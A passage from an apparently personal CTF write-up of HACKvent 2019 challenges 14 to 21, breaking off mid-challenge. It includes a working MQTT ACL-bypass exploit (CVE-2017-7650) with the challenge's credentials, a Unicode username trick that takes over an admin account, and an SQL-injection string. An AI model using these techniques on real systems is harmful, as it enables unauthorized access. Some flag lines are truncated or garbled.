$Sk6lA7p0<0;});$::{M(7998)}->();$M_decrypt=sub{'HACKVENT2019'}; __DATA__ The cake is a lie! width height orange black green cyan fill Only perl can parse Perl! Achtung das Flag! --> Use N and M background M'); DROP TABLE flags; -- Run me in Perl! __DATA__

Solution:

The first step is to de-obfuscate the perl script:

$ perl -MO=Deparse -l 14.pl > 14_deobfuscated.pl 14.pl syntax OK

The script now looks a little bit more readable.

BEGIN { $/ = "

"; $\ = "

"; } sub Tk::Frame::queuePack; sub Tk::Frame::freeze_on_map; sub Tk::Frame::FindMenu; sub Tk::Frame::label; sub Tk::Frame::sbset; sub Tk::Frame::packscrollbars; sub Tk::Frame::labelVariable; sub Tk::Frame::AddScrollbars; sub Tk::Frame::labelPack; sub Tk::Frame::scrollbars; sub Tk::Toplevel::FG_BindIn; sub Tk::Toplevel::FG_Out; sub Tk::Toplevel::FG_Destroy; sub Tk::Toplevel::FG_Create; sub Tk::Toplevel::FG_In; sub Tk::Toplevel::FG_BindOut; use Tk; use MIME::Base64; chomp(($a, $a, $b, $c, $f, $u, $z, $y, $r, $r, $u) = readline DATA); sub M { $M = shift(); @m = keys %main::; (grep {unpack('%32W*', $_) . length($_) eq $M;} @m)[0]; } $zvYPxUpXMSsw = 322420958; /_help_me_/; $PMMtQJOcHm8eFQfdsdNAS20 = sub { $zvYPxUpXMSsw = $zvYPxUpXMSsw * 16807 & 4294967295; } ; ($a1Ivn0ECw49I5I0oE0 = '07&3-"11*/(') =~ tr/!-=/`-|/; ($Sk61A7pO = 'K&:P3&44') =~ tr/!-=/`-|/; /Mm/g; ($sk6i47pO = 'K&:R&-&"4&') =~ tr/!-=/`-|/; $d28Vt03MEbdY0 = sub { pack 'n', $fff[$S9cXJIGB0BWce++] ^ &$PMMtQJOcHm8eFQfdsdNAS20() & 57005; } ; '???'; ($vgOjwRk4wIo7_ = 'MainWindow'->new)->title($r); ($vMnyQdAkfgIIik = $vgOjwRk4wIo7_->Canvas("-$a", 640, "-$b", 480, "-$u", $f))->pack; @p = (42, 42); $cqI = $vMnyQdAkfgIIik->createLine(@p, @p, "-$y", $c, "-$a", 3); $S9cXJIGB0BWce = 0; $_2kY10 = 0; $_8NZQooI5K4b = 0; $Sk6lA7p0 = 0; $MMM__; $_ = M(120812) . '/' . M(191323) . M(133418) . M(98813) . M(121913) . M(134214) . M(101213) . '/' . M(97312) . M(6328) . M(2853) . '+' . M(4386); s/_//gi; @fff = map({unpack 'n', $main::{M 122413}($_);} /.../g); ($T = sub { $vMnyQdAkfgIIik->delete($t); $t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z); } )->(); $HACK; $i = $vMnyQdAkfgIIik->repeat(25, sub { $_ = $_8NZQooI5K4b += 0.1 * $Sk6lA7p0; $p[0] += 3 * cos($_); $p[1] -= 3 * sin($_); $i->cancel unless $p[0] > 1 and $p[1] > 1 and $p[0] < 639 and $p[1] < 479; '???'; $q = +($vMnyQdAkfgIIik->find($a1Ivn0ECw49I5I0oE0, $p[0] - 1, $p[1] - 1, $p[0] + 1, $p[1] + 1) || [])->[0]; &$T() if $q == $t; $vMnyQdAkfgIIik->insert($cqI, 'end', \@p); $i->cancel if $q == $cqI or $S9cXJIGB0BWce > 44; } ); $KE = 5; $vgOjwRk4wIo7_->bind("<$Sk61A7pO-n>", sub { $Sk6lA7p0 = 1; } ); $vgOjwRk4wIo7_->bind("<$Sk61A7pO-m>", sub { $Sk6lA7p0 = -1; } ); $vgOjwRk4wIo7_->bind("<$sk6i47pO-n>", sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 > 0; } ); $vgOjwRk4wIo7_->bind("<$sk6i47pO" . '-m>', sub { $Sk6lA7p0 = 0 if $Sk6lA7p0 < 0; } ); $main::{M 7998}(); $M_decrypt = sub { 'HACKVENT2019'; } ; __DATA__ The cake is a lie! width height orange black green cyan fill Only perl can parse Perl! Achtung das Flag! --> Use N and M background M'); DROP TABLE flags; -- Run me in Perl! __DATA__

I don’t like Perl and Perl CTF challanges even less! I fiddled with the Perl script until it printed the flag to the console. Here is the diff of the original (deobfuscated) Perl script and my modifications:

$ diff 14_deobfuscated.pl 14_soll.pl 55c55,58 < $t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z); --- > #$t = $vMnyQdAkfgIIik->createText(&$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20, '-text', &$d28Vt03MEbdY0(), "-$y", $z); > # This is still needed.. > &$PMMtQJOcHm8eFQfdsdNAS20() % 600 + 20, &$PMMtQJOcHm8eFQfdsdNAS20() % 440 + 20; > print(&$d28Vt03MEbdY0()); 66c69,70 < &$T() if $q == $t; --- > #&$T() if $q == $t; > &$T();

Fag: HV19{s@@jSfx4gPcvtiwxPCagrtQ@,y^p-za-oPQ^a-z\x20

^&&s[(.)(..)][\2\1]g;s%4(…)%”p$1t”%ee}

Hidden Flag 04

The flag of the Perl challenge looks very suspicious! In previous HACKvents I learned that everything (!) can be a Perl script and be executed… So, why we don’t just try to execute the flag as Perl?! :)

$ perl flag14.pl Squ4ring the Circle

Flag: HV19{Squ4ring the Circle}

HV19.15 Santa’s Workshop (Author: inik & avarx — Level: hard)

Description:

The Elves are working very hard.

Look at http://whale.hacking-lab.com:2080/ to see how busy they are.

Solution:

First day of hard challenges! This took a lot of time and nerves, mainly because it wasn’t working correctly. I had the solution some hours after the release at midnight, but the intended way didn’t work because the server had problems. :(

The website out of the challenge description looks like this:

Inspecting the website a bit further revealed that the Mosquitto message broker is used and there is a config.js file with additional information.

var mqtt; var reconnectTimeout = 100; var host = 'whale.hacking-lab.com'; var port = 9001; var useTLS = false; var username = 'workshop'; var password = '2fXc7AWINBXyruvKLiX'; var clientid = localStorage.getItem("clientid"); if (clientid == null) { clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0'); localStorage.setItem("clientid", clientid); } var topic = 'HV19/gifts/'+clientid; // var topic = 'HV19/gifts/'+clientid+'/flag-tbd'; var cleansession = true;

We have the login details, we know we need the clientid which is stored in our browser and we know how to get the flag. I informed myself a bit more about MQTT and learned about single- and multi-level wildcards and $SYS topics etc. Much information is available on this website: https://www.hivemq.com/blog/mqtt-essentials-part-5-mqtt-topics-best-practices/

Subscribing to $SYS/* revealed this nice little piece of information:

$SYS/broker/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)

CVE-2017-7650 tells us, that the ACLs on the server side can be circumvented if we create an userid which includes the “+” or “#” wildcard signs. According to the hint in the latest message this CVE was fixed, but probably in a wrong way. This definitely is the way to go.

The Access List on the server probably is set to only allow us to read the messages for our own clientid. Meaning only the messages at “HV19/gifts/clientid” can be read, but none further like “HV19/gifts/clientid/xxx”. Therefore we can also not read the flag at HV19/gifts/clientid/flag-tbd. More information about ACLs in mosquitto can be found here: https://mosquitto.org/man/mosquitto-conf-5.html

The ACL for this challenge probably looks something like this:

pattern read HV19/gifts/%c

The solution is to set the clientid to “<clientid>/#”. This way we can break out of the context and read the message at clientid/xxx. I created a python script to solve this challenge, based on the public exploit:

#!/usr/bin/env python3 import paho.mqtt.client as mqtt import logging def dump(obj): for attr in dir(obj): print("obj.%s = %r" % (attr, getattr(obj, attr))) def on_connect(client, userdata, flags, rc): print("Connected to MQTT broker.") print(flags) print("



") # dump(client) client.subscribe('$SYS/#') client.subscribe('HV19/#') client.subscribe('HV19/gifts/+/flag-tbd') client.subscribe('#') client.subscribe('+') print("Waiting for messages...



") def on_message(client, userdata, msg): print(msg.topic+" "+str(msg.payload)) def exploit(host): client = mqtt.Client(client_id='0227756727216079/#', clean_session=False, transport='websockets') client.on_connect = on_connect client.on_message = on_message client.enable_logger() # Enable logs print("Connecting to MQTT broker on %s" % host) client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX') # client.username_pw_set('', password='') client.connect(host, 9001, 60, '') client.loop_forever() exploit("whale.hacking-lab.com")

Running the script looks like this:

$ python sol.py Connecting to MQTT broker on whale.hacking-lab.com Connected to MQTT broker. {'session present': 1} Waiting for messages... $SYS/broker/version mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho) HV19/gifts/0227756727216079/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} Congrats, you got it. The elves should not overrate their smartness!!!

Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}

HV19.16 B0rked Calculator (Author: hardlock — Level: hard)

Description:

Santa has coded a simple project for you, but sadly he removed all the operations.

But when you restore them it will print the flag!

Resources:

9b90c573-d530-401b-b3f8-24454bbf015e.zip

Solution:

I solved this completely with Ollydbg. B0rked Calculator is a simple calculator written in ASM. All the four operations are replaced with NOP calls.

As the description says we have to fix the calculator to get the flag. This is what I did.. I patched the calculator in Ollydb and it printed the flag.

The only tricky part was to clear the EDX register for the division. According to this ASM guide I tried to move 0 into the EDX register, but in the calculator there were not enough NOP spaces to do so. We can clear the EDX register in a more efficient way by XORing the register with itself. This also results in 0.

Flag: HV19{B0rked_Flag_Calculat0r}

HV19.17 Unicode Portal (Author: scryh — Level: hard)

Description:

Buy your special gifts online, but for the ultimative gift you have to become admin.

Resources:

http://whale.hacking-lab.com:8881/

Solution:

A website with the suspicious title “Unicode Portal” is the starting point of this challenge.

After creating an username we can browse throught the portal and find PHP source code, which apparently is used in this website.

<?php if (isset($_GET['show'])) highlight_file(__FILE__); /** * Verifies user credentials. */ function verifyCreds($conn, $username, $password) { $usr = $conn->real_escape_string($username); $res = $conn->query("SELECT password FROM users WHERE username='".$usr."'"); $row = $res->fetch_assoc(); if ($row) { if (password_verify($password, $row['password'])) return true; else addFailedLoginAttempt($conn, $_SERVER['REMOTE_ADDR']); } return false; } /** * Determines if the given user is admin. */ function isAdmin($username) { return ($username === 'santa'); } /** * Determines if the given username is already taken. */ function isUsernameAvailable($conn, $username) { $usr = $conn->real_escape_string($username); $res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')"); $row = $res->fetch_assoc(); return (int)$row['cnt'] === 0; } /** * Registers a new user. */ function registerUser($conn, $username, $password) { $usr = $conn->real_escape_string($username); $pwd = password_hash($password, PASSWORD_DEFAULT); $conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'"); } /** * Adds a failed login attempt for the given ip address. An ip address gets blacklisted for 15 minutes if there are more than 3 failed login attempts. */ function addFailedLoginAttempt($conn, $ip) { $ip = $conn->real_escape_string($ip); $conn->query("INSERT INTO fails (ip) VALUES ('".$ip."')"); } ?>

Userinputs seem to be correctly escaped with “real_escape_string”. It doesn’t look like there are any SQL injection vulnerabilities. There is even a blocking method, if we try to brute-force the login form we get blacklisted for 15 minutes. Nice measure to stop participants to use tools like SQLmap! Based on the source code we know the user ‘santa’ is admin. This is our target!

This piece of code looks promising:

$conn->query("INSERT INTO users (username, password) VALUES (UPPER('".$usr."'),'".$pwd."') ON DUPLICATE KEY UPDATE password='".$pwd."'");

This method sets a new password to an existing user when a duplicate key error in MySQL is triggered. Apparently the username is also the key in the users table.

We cannot just create a new user ‘santa’ because there is a check for existing users when we register a new one:

$res = $conn->query("SELECT COUNT(*) AS cnt FROM users WHERE LOWER(username) = BINARY LOWER('".$usr."')");

Good (or bad?) in timing was hackernews publishing an interesting article about “Hacking Github with Unicode” the same day as the challenge was…

We can exploit exactly this vulnerability to change the password of the user ‘santa’. The existing user check is done with “BINARY LOWER”, therefore this will not trigger when we register a new unicode ‘santa’ user. But the ON Duplicate Error will, so we can set a new password.

Register the user ‘ſanta’ with the password ‘password’.

Login with the username ‘santa’ and the password ‘password’ and browse to the admin area.

Flag: HV19{h4v1ng_fun_w1th_un1c0d3}

HV19.18 Dance with me (Author: hardlock — Level: hard)

Description:

Santa had some fun and created todays present with a special dance. this is what he made up for you:

096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15

Dance with him to recover the flag.

Resources:

93d0df60-3579-4672-8efc-f32327d3643f.zip

Solution:

The ZIP file provided had a Debian package file inside.

$ file ./dance ./dance: Debian binary package (format 2.0), with control.tar.gz, data compression lzma

The Debian package can be extracted:

$ mkdir tmp $ dpkg-deb -R dance tmp

We find a control file and a binary inside the folders. This is a binary compiled to run on an iPhone.

$ cat control Package: com.hacking-lab.dance Name: dance Architecture: iphoneos-arm Description: An awesome tool of some sort!! Maintainer: hardlock Author: hardlock Section: System Tag: role::hacker Version: 0.0.1 Installed-Size: 196 $ file dance dance: Mach-O universal binary with 3 architectures: [armv7:Mach-O armv7 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>] [arm64:Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>]

As I don’t posses an iPhone this means static analysis… This time I choose Hopper to work with. The relevant part of the binary are in the _main function:

According to the challenge description this binary might implement the Salsa20 encryption. We get the confirmation about this when we compare the _dance_words function with the Wikipedia article:

This means we have to find a 256-bit key, and 64-bit nonce to reverse the flag. Apparently the main function does all the needed calculations. The _dance functions are complete implementations of the Salsa encryption and just need the right arguments.

The nonce is pretty straight forward to find:

_dance(&var_B0, r19, &var_70, 0xb132d0a8e78f4511);

After having the nonce (0xb132d0a8e78f4511) we need the 256bit key. They is loaded in this part of the main function:

0000000100007d9c ldr x8, [x8] 0000000100007da0 stur x8, [x29, var_28] 0000000100007da4 adr x8, #0x100007f50 0000000100007da8 nop 0000000100007dac ldp q0, q1, [x8, #0x20] 0000000100007db0 stp q0, q1, [sp, #0x90] 0000000100007db4 ldp q0, q1, [x8] 0000000100007db8 stp q0, q1, [sp, #0x70] 0000000100007dbc movi v0.16b, #0x0 0000000100007dc0 stp q0, q0, [sp, #0x50] 0000000100007dc4 stp q0, q0, [sp, #0x30] 0000000100007dc8 adr x0, #0x100007f90

Basically the key is stored at the address 0x100007f50. We can just copy & use it.

<strong>Nonce</strong>: 11 45 8f e7 a8 d0 32 b1 (Endianess! 0xb132d0a8e78f4511) <strong>Key</strong>: 03 20 63 46 61 b6 3c af aa 76 c2 7e ea 00 b5 9b fb 2f 70 97 21 4f d0 4c b2 57 ac 29 04 ef ee 46 <strong>Encrypted Flag</strong>: <em>096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15</em>

I was lazy and didn’t write code to decrypt the flag myself. I used this online tool: http://kryptografie.de/kryptografie/chiffre/salsa20.htm

Flag: HV19{Danc1ng_Salsa_in_ass3mbly}

HV19.19 🎅 (Author: M. — Level: hard)

Description:

🏁🍇🎶🔤🐇🦁🍟🗞🍰📘🥖🖼🚩🥩😵⛺❗️🥐😀🍉🥞🏁👉️🧀🍎🍪🚀🙋🏔🍊😛🐔🚇🔷🎶📄🍦📩🍋💩⁉️🍄🥜🦖💣🎄🥨📺🥯📽🍖🐠📘👄🍔🍕🐖🌭🍷🦑🍴⛪🤧🌟🔓🔥🎁🧦🤬🚲🔔🕯🥶❤️💎📯🎙🎚🎛📻📱🔋😈🔌💻🐬🖨🖱🖲💾💿🧮🎥🎞🔎💡🔦🏮📔📖🏙😁💤👻🛴📙📚🥓📓🛩📜📰😂🍇🚕🔖🏷💰⛴💴💸🚁🥶💳😎🖍🚎🥳📝📁🗂🥴📅📇📈📉📊🔒⛄🌰🕷⏳📗🔨🛠🧲🐧🚑🧪🐋🧬🔬🔭📡🤪🚒💉💊🛏🛋🚽🚿🧴🧷🍩🧹🧺😺🧻🚚🧯😇🚬🗜👽🔗🧰🎿🛷🥌🎯🎱🎮🎰🎲🏎🥵🧩🎭🎨🧵🧶🎼🎤🥁🎬🏹🎓🍾💐🍞🔪💥🐉🚛🦕🔐🍗🤠🐳🧫🐟🖥🐡🌼🤢🌷🌍🌈✨🎍🌖🤯🐝🦠🦋🤮🌋🏥🏭🗽⛲💯🌁🌃🚌📕🚜🛁🛵🚦🚧⛵🛳💺🚠🛰🎆🤕💀🤓🤡👺🤖👌👎🧠👀😴🖤🔤 ❗️➡️ ㉓ 🆕🍯🐚🔢🍆🐸❗️➡️ 🖍🆕㊷ 🔂 ⌘ 🆕⏩⏩ 🐔🍨🍆❗️ 🐔㉓❗️❗️ 🍇 ⌘ ➡️🐽 ㊷ 🐽 ㉓ ⌘❗️❗️🍉 🎶🔤🍴🎙🦖📺🍉📘🍖📜🔔🌟🦑❤️💩🔋❤️🔔🍉📩🎞🏮🌟💾⛪📺🥯🥳🔤 ❗️➡️ 🅜 🎶🔤💐🐡🧰🎲🤓🚚🧩🤡🔤 ❗️➡️ 🅼 😀 🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️📇🔪 🆕 🔡 👂🏼❗️🐔🍨🍆❗️🐔🍨👎🍆❗️❗️❗️ ➡️ 🄼 ↪️🐔🄼❗️🙌 🐔🍨🍆❗️🍇🤯🐇💻🔤👎🔤❗️🍉 ☣️🍇🆕🧠🆕🐔🅜❗️❗️➡️ ✓🔂 ⌘ 🆕⏩⏩🐔🍨🍆❗️🐔🅜❗️❗️🍇🐽 ㊷ 🐽 🅜 ⌘❗️❗️ ➡️ ⌃🐽 🄼 ⌘ 🚮🐔🄼❗️❗️➡️ ^💧🍺⌃➖🐔㉓❗️➗🐔🍨👎👍🍆❗️❗️❌^❌💧⌘❗️➡️ ⎈ ↪️ ⌘ ◀ 🐔🅼❗️🤝❎🍺🐽 ㊷ 🐽 🅼 ⌘❗️❗️➖ 🤜🤜 🐔🅜❗️➕🐔🅜❗️➖🐔🄼❗️➖🐔🅼❗️➕🐔🍨👍🍆❗️🤛✖🐔🍨👎👎👎🍆❗️🤛 🙌 🔢⎈❗️❗️🍇 🤯🐇💻🔤👎🔤❗️🍉✍✓ ⎈ ⌘ 🐔🍨👎🍆❗️❗️🍉🔡🆕📇🧠✓ 🐔🅜❗️❗️❗️➡️ ⌘↪️⌘ 🙌 🤷‍♀️🍇🤯🐇💻🔤👎🔤❗️🍉😀🍺⌘❗️🍉 🍉

Solution:

The emojis in the description are actually program code. This is emojicode. 🤯 The emojis can actually be compiled and run like any other program on a machine. At first sight there were two possibilities to solve this challenge.

Learn emojicode and understand what the program does Compile the program and disassemble/debug the executable like any other binary file

I didn’t like this challenge at all. In my opinion it does not make sense to learn a new programming language which I obviously will never use again..

Therefore I tried variant number two. But this approach seemed way harder than it should. After some time I heard the rumor, that there is an easy variant to solve the challenge and we should focus on the output of the program. I am very glad to have received this hint! :)

$ ./emoji 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🤯 Program panicked: 👎

Lock -> Santa?! -> Xmas Tree Flag. It almost sounds like an if/else comparison. After some moments (long ones 😀) it got me. Santa gets a lock, what does he need to return us the flag? THE KEY!

$ ./emoji 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔑 HV19{*<|:-)____\o/____;-D}

Flag: HV19{*

HV19.20 i want to play a game (Author: hardlock — Level: hard)

Description:

Santa was spying you on Discord and saw that you want something weird and obscure to reverse?

your wish is my command.

Resources:

e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip

Solution:

Previous years the “I want to play a game” challenges always were binaries of various game consoles. Let’s examine the file a bit closer.

$ file game /mnt/shared/game: Intel amd64 COFF object file, no line number info, not stripped, 26 sections, symbol offset=0xb50, 99 symbols $ strings game ... AWAVAUATSH |$0L t$PH sendflag D$'H D$BH [A\A]A^A_] *+^{9 libkernel.sprx sceKernelGetIdPs sceKernelGetOpenPsIdForSystem /mnt/usb0/PS4UPDATE.PUP %02x f86d4f9d2c049547bd61f942151ffb55 GCC: (GNU) 7.4.0 ...

OK, looks like a PS4 executable. I used Ghidra again to work on this challenge. Everything interesting seems to be in the main function. Here is the disassembled pseudo code of Ghidra:

undefined8 _main(void) { byte bVar1; undefined *puVar2; undefined *puVar3; uint uVar4; int iVar5; undefined8 uVar6; undefined8 uVar7; long lVar8; long lVar9; undefined2 *puVar10; code *local_520; code *local_518; undefined8 local_509; undefined local_501; undefined2 local_500 [8]; undefined2 local_4f0; undefined2 local_4ee; undefined4 local_4ec; undefined local_4e6 [6]; byte local_4e0 [32]; byte local_4c0 [32]; undefined local_4a0 [112]; undefined local_430 [1024]; (*(code *)refptr.initKernel)(); (*(code *)refptr.initLibc)(); (*(code *)refptr.initNetwork)(); uVar4 = (**(code **)refptr.sceKernelLoadStartModule)(0x2174,0,0,0,0,0); puVar3 = refptr.sceKernelDlsym; (*(code *)refptr.sceKernelDlsym)((ulong)uVar4,0x219d,&local_520); (*(code *)puVar3)((ulong)uVar4,0x21c6,&local_518); puVar3 = refptr.malloc; uVar6 = (**(code **)refptr.malloc)(0x40); uVar7 = (**(code **)puVar3)(0x10); (*local_520)(uVar6); (*local_518)(uVar7); uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a); lVar8 = (**(code **)puVar3)(0x21); (*(code *)refptr.MD5Init)(local_4a0); puVar2 = refptr.MD5Update; puVar3 = refptr.fread; while( true ) { uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6); if (uVar4 == 0) break; (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4); } puVar10 = local_500; (*(code *)refptr.MD5Final)(puVar10,local_4a0); (**(code **)refptr.fclose)(uVar6); puVar2 = refptr.sprintf; lVar9 = lVar8; do { bVar1 = *(byte *)puVar10; puVar10 = (undefined2 *)((long)puVar10 + 1); (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1); lVar9 = lVar9 + 2; } while (&local_4f0 != puVar10); iVar5 = (**(code **)refptr.strcmp)(0x22fe,lVar8); if (iVar5 == 0) { lVar8 = 0; do { local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b); lVar8 = lVar8 + 1; } while (lVar8 != 0x1a); lVar8 = 0x1337; uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318); do { (**(code **)refptr.fseek)(uVar6,lVar8,0); (**(code **)puVar3)(local_4c0,0x1a,1,uVar6); lVar9 = 0; do { local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9]; lVar9 = lVar9 + 1; } while (lVar9 != 0x1a); lVar8 = lVar8 + 0x1337; } while (lVar8 != 0x1714908); (**(code **)refptr.fclose)(uVar6); local_501 = 0; local_509 = 0x67616c66646e6573; local_4f0 = 0x210; local_4ec = 0x100007f; local_4ee = (**(code **)refptr.sceNetHtons)(0x539); (**(code **)refptr.memset)(local_4e6,0,6); uVar4 = (**(code **)refptr.sceNetSocket)(&local_509,2,1,0); (**(code **)refptr.sceNetConnect)((ulong)uVar4,&local_4f0,0x10); (**(code **)refptr.sceNetSend)((ulong)uVar4,local_4e0,0x1a,0); (**(code **)refptr.sceNetSocketClose)((ulong)uVar4); } return 0; }

The memory addresses seem to be off. If we follow the data references we land in the code part of the program. Not sure if this was intended to make it harder or just a problem in Ghidra…

After some initializations a file is opened and the md5sum of it is being calculated:

uVar6 = (**(code **)refptr.malloc)(0x40); uVar7 = (**(code **)puVar3)(0x10); (*local_520)(uVar6); (*local_518)(uVar7); uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a); lVar8 = (**(code **)puVar3)(0x21); (*(code *)refptr.MD5Init)(local_4a0); puVar2 = refptr.MD5Update; puVar3 = refptr.fread; while( true ) { uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6); if (uVar4 == 0) break; (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4); } puVar10 = local_500; (*(code *)refptr.MD5Final)(puVar10,local_4a0); (**(code **)refptr.fclose)(uVar6);

The calculated MD5 hash is compared with a string in memory:

lVar9 = lVar8; do { bVar1 = *(byte *)puVar10; puVar10 = (undefined2 *)((long)puVar10 + 1); (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1); lVar9 = lVar9 + 2; } while (&local_4f0 != puVar10); iVar5 = (**(code **)refptr.strcmp)(0x22fe,lVar8); if (iVar5 == 0) {

Based on the information we got from “strings” at the beginning I took the assumption that the file “/mnt/usb0/PS4UPDATE.PUP” is opened, the MD5 hash of it is being calculated and compared against the hash “f86d4f9d2c049547bd61f942151ffb55” which is at the memory address 0x2080:

00002080 66 ?? 66h f 00002081 38 ?? 38h 8 00002082 36 ?? 36h 6 00002083 64 ?? 64h d 00002084 34 ?? 34h 4 00002085 66 ?? 66h f 00002086 39 ?? 39h 9 00002087 64 ?? 64h d 00002088 32 ?? 32h 2 00002089 63 ?? 63h c 0000208a 30 ?? 30h 0 0000208b 34 ?? 34h 4 0000208c 39 ?? 39h 9 0000208d 35 ?? 35h 5 0000208e 34 ?? 34h 4 0000208f 37 ?? 37h 7 00002090 62 ?? 62h b 00002091 64 ?? 64h d 00002092 36 ?? 36h 6 00002093 31 ?? 31h 1 00002094 66 ?? 66h f 00002095 39 ?? 39h 9 00002096 34 ?? 34h 4 00002097 32 ?? 32h 2 00002098 31 ?? 31h 1 00002099 35 ?? 35h 5 0000209a 31 ?? 31h 1 0000209b 66 ?? 66h f 0000209c 66 ?? 66h f 0000209d 62 ?? 62h b 0000209e 35 ?? 35h 5 0000209f 35 ?? 35h 5

I googled the MD5 hash and found an exploit guide for PS4. There it is also possible to download said firmware. The next part in the code looks like this:

lVar8 = 0; do { local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b); lVar8 = lVar8 + 1; } while (lVar8 != 0x1a);

The first loop loads 26 bytes (0x1a) into the variable local_4e0. Because the memory addresses are wrong in Ghidra I manually checked the DATA part of the executable and found only one not used and matching memory part:

00002000 ce undefined1 CEh 00002001 55 ?? 55h U 00002002 95 ?? 95h 00002003 4e ?? 4Eh N 00002004 38 ?? 38h 8 00002005 c5 ?? C5h 00002006 89 ?? 89h 00002007 a5 ?? A5h 00002008 1b ?? 1Bh 00002009 6f ?? 6Fh o 0000200a 5e ?? 5Eh ^ 0000200b 25 ?? 25h % 0000200c d2 ?? D2h 0000200d 1d ?? 1Dh 0000200e 2a ?? 2Ah * 0000200f 2b ?? 2Bh + 00002010 5e ?? 5Eh ^ 00002011 7b ?? 7Bh { 00002012 39 ?? 39h 9 00002013 14 ?? 14h 00002014 8e ?? 8Eh 00002015 d0 ?? D0h 00002016 f0 ?? F0h 00002017 f8 ?? F8h 00002018 f8 ?? F8h 00002019 a5 ?? A5h 0000201a 00 ?? 00h

In the next section of the source code the the PS4 firmware file is read. Afterwards we have two nested loops. The inner XORs the 26 bytes stored in local_4e0 against local_4c0, which is memory of the opened file.

The outer loop starts reading the file at the position 0x1337 and then XORs 26 bytes in the inner loop against the key which we found before (local_4e0). This is done 0x1337 times (0x1714908 / 0x1337 = 0x1338; we started at 0x1337):

lVar8 = 0x1337; uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318); do { (**(code **)refptr.fseek)(uVar6,lVar8,0); (**(code **)puVar3)(local_4c0,0x1a,1,uVar6); lVar9 = 0; do { local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9]; lVar9 = lVar9 + 1; } while (lVar9 != 0x1a); lVar8 = lVar8 + 0x1337; } while (lVar8 != 0x1714908);

Now we know everything we need to know.

#!/usr/bin/python f = "/mnt/shared/PS4UPDATE.PUP" key = list("\xce\x55\x95\x4e\x38\xc5\x89\xa5\x1b\x6f\x5e\x25\xd2\x1d\x2a\x2b\x5e\x7b\x39\x14\x8e\xd0\xf0\xf8\xf8\xa5\x00") def strxor(x, y): return ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(x,y)]) def get_bytes_from_file(filename): return open(filename, "rb").read() fi = get_bytes_from_file(f) counter = 1 while counter <= 0x1337: c = 0 while c < 26: key[c] = strxor(key[c], fi[(0x1337*counter)+c]) c += 1 counter += 1 print("done") res = "" for x in key: res += x print(res)

$ python sol_20.py done HV19{C0nsole_H0mebr3w_FTW}

Flag: HV19{C0nsole_H0mebr3w_FTW}

HV19.21 Happy Christmas 256 (Author: hardlock — Level: hard)

Description:

Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.

This is his public key:

X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c

To make sure this is safe, he used the NIST P-256 standard.

But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:

Santa used a password and SHA256 for the private key (d)

His password was leaked 10 years ago

The password is length is the square root of 256

The flag is encrypted with AES256

The key for AES is derived with pbkdf2_hmac , salt: “TwoHundredFiftySix”, iterations: 256 * 256 * 256

Phew – Santa seems to know his business – or can you still recover this flag?

Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=

Solution:

The first real math challenge this year.

NIST-P is used in Elliptic Curve Cryptography (ECC). In December 2009, 10 years ago, the Rockyou data breach happened – a password wordlist of this breach exists.



The description of the challenge is hard to interpret correctly. This probably was done on purpose. To simplify it a bit:

Santa has used a password to protect his private key which is used in ECC

This password is 16 (square root 256) characters long and was leaked in the Rockyou breach.

The flag itself is encrypted with AES 256. I took the assumption the same password was used to encrypt it.

According to the documentation of PyCryptoDome’s ECC package we can use ECC.construct() to create a key with all the information we have. If the inputs are wrong, then an exception is thrown.

With this information and the rockyou password list we can brute force the password. We try all passwords of the list until the function doesn’t throw an exception.

